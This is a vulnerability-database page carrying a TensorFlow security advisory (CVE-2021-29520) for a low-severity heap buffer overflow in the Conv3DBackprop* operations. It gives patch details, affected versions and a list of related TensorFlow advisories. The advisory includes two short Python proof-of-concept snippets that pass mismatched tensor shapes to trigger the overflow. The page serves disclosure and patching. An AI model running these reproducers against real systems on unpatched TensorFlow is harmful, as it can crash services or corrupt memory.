Sign in
Deutsch English Español Polski
Low

Heap buffer overflow in `Conv3DBackprop*`

  • Disclosed: 14.05.2021
  • Updated: 11.10.2026 13:19

Impact

Missing validation between arguments to tf.raw_ops.Conv3DBackprop* operations can result in heap buffer overflows:

python
import tensorflow as tf

input_sizes = tf.constant([1, 1, 1, 1, 2], shape=[5], dtype=tf.int32)
filter_tensor = tf.constant([734.6274508233133, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0,
                            -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0,
                            -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[4, 1, 6, 1, 1], dtype=tf.float32)
out_backprop = tf.constant([-10.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 89, 29, 89, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])
python
import tensorflow as tf

input_values = [-10.0] * (7 * 7 * 7 * 7 * 7)
input_values[0] = 429.6491056791816
input_sizes = tf.constant(input_values, shape=[7, 7, 7, 7, 7], dtype=tf.float32)
filter_tensor = tf.constant([7, 7, 7, 1, 1], shape=[5], dtype=tf.int32)
out_backprop = tf.constant([-10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[7, 1, 1, 1, 1], dtype=tf.float32)
  
tf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 37, 65, 93, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])

This is because the implementation assumes that the input, filter_sizes and out_backprop tensors have the same shape, as they are accessed in parallel.

Patches

We have patched the issue in GitHub commit 8f37b52e1320d8d72a9529b2468277791a261197.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our securityguide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) tensorflow < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2
Python (PyPI) tensorflow-cpu < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2
Python (PyPI) tensorflow-gpu < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2

References

CVSS score 2.5/10
CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Weakness (CWE)
CWE-120, CWE-787
Platform
Python (PyPI)
Package
tensorflow, tensorflow-cpu, tensorflow-gpu
Disclosed
14.05.2021
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2021-157 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-448 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-646 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-wcv5-qrj6-9pfm - CC BY 4.0

Vulnerability history: tensorflow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (433) in the archive
Total entries
433
First → latest
04.2019 07.2024
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 6
  • High 112
  • Medium 210
  • Low 105

Disclosures per year

Severity:
  1. Heap buffer overflow in `Conv3DBackprop*` this entry
    Low · 2.5 CVE-2021-29520 < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2
  2. TensorFlow has segfault in array_ops.upper_bound
    High · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  3. TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch
    High · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  4. TensorFlow vulnerable to seg fault in `tf.raw_ops.Print`
    High · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  5. TensorFlow vulnerable to integer overflow in EditDistance
    High · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  6. TensorFlow has Null Pointer Error in TensorArrayConcatV2
    High · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  7. TensorFlow has Heap-buffer-overflow in AvgPoolGrad
    High · 7.5 CVE-2023-25664 < 2.11.1 2.11.1
  8. TensorFlow has Null Pointer Error in SparseSparseMaximum
    High · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  9. TensorFlow has Floating Point Exception in AudioSpectrogram
    High · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  10. TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation
    Critical · 9.8 CVE-2023-25668 < 2.11.1 2.11.1
  11. TensorFlow has Floating Point Exception in AvgPoolGrad with XLA
    High · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  12. TensorFlow has Null Pointer Error in QuantizedMatMulWithBiasAndDequantize
    High · 7.5 CVE-2023-25670 < 2.11.1 2.11.1
  13. TensorFlow has segmentation fault in tfg-translate
    High · 7.5 CVE-2023-25671 < 2.11.1 2.11.1
  14. TensorFlow has Null Pointer Error in LookupTableImportV2
    High · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  15. TensorFlow has Floating Point Exception in TensorListSplit with XLA
    High · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  16. TensorFlow has Null Pointer Error in RandomShuffle with XLA enable
    High · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  17. TensorFlow has Segfault in Bincount with XLA
    High · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  18. TensorFlow has null dereference on ParallelConcat with XLA
    High · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  19. TensorFlow has double free in Fractional(Max/Avg)Pool
    High · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  20. TensorFlow has Floating Point Exception in TFLite in conv kernel
    High · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  21. TensorFlow vulnerable to Out-of-Bounds Read in GRUBlockCellGrad
    High · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
Show more (20) Showing 21 of 119

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Privacy policy

Free to subscribe. Unsubscribe with one click in any email.